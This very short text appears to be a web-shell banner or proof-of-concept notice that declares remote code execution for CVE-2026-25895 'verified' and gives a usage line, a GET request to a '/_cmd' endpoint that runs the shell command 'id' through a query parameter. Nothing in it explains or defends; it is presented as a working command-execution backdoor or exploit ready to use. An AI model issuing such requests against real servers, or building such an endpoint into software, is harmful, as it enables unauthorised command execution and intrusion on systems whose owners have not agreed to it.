CVE-2026-25895 RCE Verified

Usage: GET /_cmd?cmd=id